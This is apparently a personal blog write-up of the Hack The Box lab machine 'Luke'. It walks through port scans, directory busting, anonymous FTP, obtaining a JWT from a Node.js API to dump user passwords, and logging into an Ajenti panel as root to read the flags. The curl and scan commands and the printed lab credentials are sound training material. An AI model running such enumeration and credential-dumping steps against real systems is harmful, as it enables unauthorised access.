Hackthebox – Luke

First step I always take in my analysis is to perform some port scans, on both TCP (all ports), UDP (top20) and an nmap -A scan. Below, the output of the TCP all-ports scan.

# Nmap 7.70 scan initiated Sat Jul 13 14:49:34 2019 as: nmap -A -oN fullscan-A 10.10.10.137
Nmap scan report for 10.10.10.137
Host is up (0.015s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3+ (ext.1)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 0        0             512 Apr 14 12:35 webapp
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.12.42
|      Logged in as ftp
|      TYPE: ASCII
|      No session upload bandwidth limit
|      No session download bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3+ (ext.1) - secure, fast, stable
|_End of status
22/tcp   open  ssh?
80/tcp   open  http    Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
|_http-title: Luke
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8000/tcp open  http    Ajenti http control panel
|_http-title: Ajenti

4 Open ports, besides FTP, SSH and HTTP, ports 3000 and 8000 provide a node.js (3000) server and a web server with an Ajenti web application.

As the Ajenti application requires authentication and the node.js application only shows the message “Auth token is not supplied” when browsing to it with firefox, I start with the FTP Server.

FTP Access

The FTP server allows for anonymous access, so first step is browsing around seeing if there is anything of interest to be found.

root@kalivm:~/Luke# ncftp 10.10.10.137
NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/).
Connecting to 10.10.10.137...
vsFTPd 3.0.3+ (ext.1) ready...
Logging in...
Login successful.
Logged in to 10.10.10.137.
ncftp / > ls
webapp/
ncftp / > cd webapp/
Directory successfully changed.
ncftp /webapp > ls
for_Chihiro.txt
ncftp /webapp > get for_Chihiro.txt 
for_Chihiro.txt:                                       306.00 B   17.54 kB/s  
root@kalivm:~/Luke# cat for_Chihiro.txt 
Dear Chihiro !!

As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies ! 

Derry

Only one file to be found which contains a message from a person called Derry to a person called Chihiro. The message states that some source files should be stored somewhere.

The web server

As the process of directory busting and nikto scanning takes some time, I started this just before the FTP server and it has come with some results. The nikto scan already provided some interesting files to look into.

root@kalivm:~/Luke# nikto -host 10.10.10.137 -output nikto.txt
- Nikto v2.1.6/2.1.5
+ Target Host: 10.10.10.137
+ Target Port: 80
+ GET The anti-clickjacking X-Frame-Options header is not present.
+ GET The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ GET The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ GET Retrieved x-powered-by header: PHP/7.3.3
+ OPTIONS Allowed HTTP Methods: GET, POST, OPTIONS, HEAD, TRACE 
+ OSVDB-877: TRACE HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ GET /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3268: GET /css/: Directory indexing found.
+ OSVDB-3092: GET /css/: This might be interesting...
+ GET /login.php: Admin login page/section found.
+ GET /package.json: Node.js package file found. It may contain sensitive information.

And also, the use of gobuster provided various directories that are accessible.

root@kalivm:~/Luke# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.137

====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.137/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2019/07/13 15:00:26 Starting gobuster
=====================================================
/member (Status: 301)
/css (Status: 301)
/js (Status: 301)
/vendor (Status: 301)
/LICENSE (Status: 200)
=====================================================
2019/07/13 15:15:36 Finished
=====================================================

Unfortunately, the /member entry appeared empty and the package.json file did not contain anything of interest. The login.php and config.php provided with a login screen, and some root credentials for a database.

Also, remembering Derry’s remark about the source files, trying to add a ‘s‘ to the php files to show the source actually worked here, showing the content of the login screen. However, the source points to both a password_verify() function and an index.php file, both which appear to be non-existent.

Therefore this login screen is considered a dead end and since there was nothing useful found on the remaining of the web server itself, time to move on to the node.js server.

The node.js server

At a first glance, the node.js server provided just a message stating “Auth token is not supplied”, so for this we apparently need an authentication token. As I am fairly unfamiliar with the topic, I resided to the Hackthebox forums and found a reference to a blogpost on medium explaining how to use Curl on JWT Bearer tokens. First step was to identify the API endpoints to be used by scanning them with wfuzz. Some trial and error led to filtering out the error 404, otherwise, wfuzz would not run at all.

root@kalivm:~/Luke# wfuzz --hc 404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.137:3000/FUZZ

********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer *
********************************************************

Target: http://10.10.10.137:3000/FUZZ
Total requests: 220560

==================================================================
ID Response Lines Word Chars Payload
==================================================================

000014: C=200 0 L 5 W 56 Ch ""
000053: C=200 0 L 2 W 13 Ch "login"
000202: C=200 0 L 5 W 56 Ch "users"
000825: C=200 0 L 2 W 13 Ch "Login"
003701: C=200 0 L 5 W 56 Ch "Users"
045240: C=200 0 L 5 W 56 Ch ""

So I found the endpoints /users and /login. By following the guidelines in the article, and some fiddling with the specific username, I was able to get a bearer token with the following request

root@kalivm:~/Luke# curl -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' --data '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}' http://10.10.10.137:3000/login
{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzMDg0NDU5LCJleHAiOjE1NjMxNzA4NTl9.Gc2o4VrlRJzjkm52YdtpExS3kvcU5L5Dzx5nly6Ell4"}

After some additional trial and error, I finally found out that I had to post the token not to the /login endpoint, but to the /users endpoint which resulted in a nice list of users

root@kalivm:~/Luke# curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzMDg0NDU5LCJleHAiOjE1NjMxNzA4NTl9.Gc2o4VrlRJzjkm52YdtpExS3kvcU5L5Dzx5nly6Ell4" http://10.10.10.137:3000/users
[{"ID":"1","name":"Admin","Role":"Superuser"},{"ID":"2","name":"Derry","Role":"Web Admin"},{"ID":"3","name":"Yuri","Role":"Beta Tester"},{"ID":"4","name":"Dory","Role":"Supporter"}]

Next step is to repeat the same with the various usernames on the /users endpoint

root@kalivm:~/Luke# for user in 'admin' 'derry' 'yuri' 'dory'; do curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzMDg2NDc2LCJleHAiOjE1NjMxNzI4NzZ9.JVtkar0ztbIHOdKSug3StP8DhRIZV3Jf-BtRNvWTmyA" http://10.10.10.137:3000/users/$user; done
{"name":"Admin","password":"WX5b7)>/rp$U)FW"}{"name":"Derry","password":"rZ86wwLvx7jUxtch"}{"name":"Yuri","password":"bet@tester87"}{"name":"Dory","password":"5y:!xa=ybfe)/QD"}

After trying these credentials on all login portals (Ajenti, the login.php even though that seemed useless, the SSH Server), they did not appear to work anywhere. Leading to the conclusion that I must have missed something.

Back to the web server

As I could not think of a thing I missed so far, I resided to the forums again where it was pointed out that gobuster does not take the http error 401 (Unauthorized) into account. Seeing this message caused me to go back to the webserver on port 80 again with gobuster and specify the display of any error 401.

root@kalivm:~/Luke# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.137/ -s 401

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.137/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 401
[+] Timeout      : 10s
=====================================================
2019/07/14 08:49:59 Starting gobuster
=====================================================
/management (Status: 401)
=====================================================
2019/07/14 08:56:46 Finished
=====================================================

This gobuster scan displayed a /management share providing an error 401. Opening this page, displayed an htaccess authentication box.

After trying the credentials one by one, Derry’s password worked and a directory list containing a similar config.php file as previously found, another login.php file which did not appear to be functional, and a config.json file which appears to be the configuration file for the Ajenti installation on port 8000, containing yet another password.

The ajenti portal

After having tried all previously found username/password combinations without success, the newly found password KpMasng6S5EtTy9Z was worth another try and actually provided access to the portal using the root user.

After logging in, the full Ajenti portal was at my disposal and apparently running as root user on the system too. This provided access through the File Manager Plugin to both /home/derry/user.txt and the /root/root.txt files which contained both flags.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.